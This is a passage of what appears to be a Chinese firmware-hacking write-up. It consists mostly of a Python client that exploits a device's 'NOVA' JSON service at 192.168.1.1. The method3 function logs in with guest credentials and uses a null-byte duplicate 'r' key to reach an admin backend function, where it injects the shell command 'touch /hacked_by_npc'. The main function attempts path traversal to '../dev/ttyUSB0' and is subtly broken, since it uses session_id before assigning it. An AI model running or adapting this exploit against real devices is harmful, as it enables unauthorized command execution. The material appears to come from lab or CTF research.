    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())
def logout(sessionID: str, sfd: socket.socket):
    js_data = {'func': 0x10, 'session_id': sessionID}
    payload = HEADER + json.dumps(js_data)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())
def register(name: str, pwd: str, sfd: socket.socket):
    js_data = {'func': 0x11, 'usr':name, 'pwd':pwd}
    payload = HEADER + json.dumps(js_data)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())
def backhend(js_data, sfd: socket.socket):
    payload = HEADER + json.dumps(js_data)
    print(payload)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())
def delete(sessionID: str, name: str, sfd: socket.socket):
    js_data = {'func': 0x13, 'session_id':sessionID, 'usr':name}
    payload = HEADER + json.dumps(js_data)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())
def main():
    sfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sfd.connect(('192.168.1.1', 12345))
    except Exception as e:
        print(e)
        exit(-1)
    
    bk_json = {'session_id':session_id, 'func':18, 'f': 0x23,'o': '../dev/ttyUSB0'}
    session_id = login('guest', 'guest', sfd)['data']['session_id']
    print(backhend(bk_json, sfd))
def method3():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.1.1', 12345))
    login_guest = 'NOVA00010102{"usr":"guest","pwd":"guest","func":1}'
    s.sendall(login_guest.encode())
    res = s.recv(1024)
    res_status = json.loads(res).get("result")
    guest_session_id = json.loads(res).get("data").get("session_id")
    if (res_status != "1") or (len(guest_session_id) != 32):
        print("method2 guest login failed")
        exit(0)
    backend1 = 'NOVA00010102{"session_id":"%s","func":18,"f":32,"d":"touch /hacked_by_npc","r":"admin","r\u0000":"admin"}' % guest_session_id
    s.sendall(backend1.encode())
    res = s.recv(1024)
    print(res)
if __name__ == '__main__':
    method3()

固件3

  同样无法直接连串口但是和固件二不同的是，串口只会打印出一部分日志，然后就完全没有了：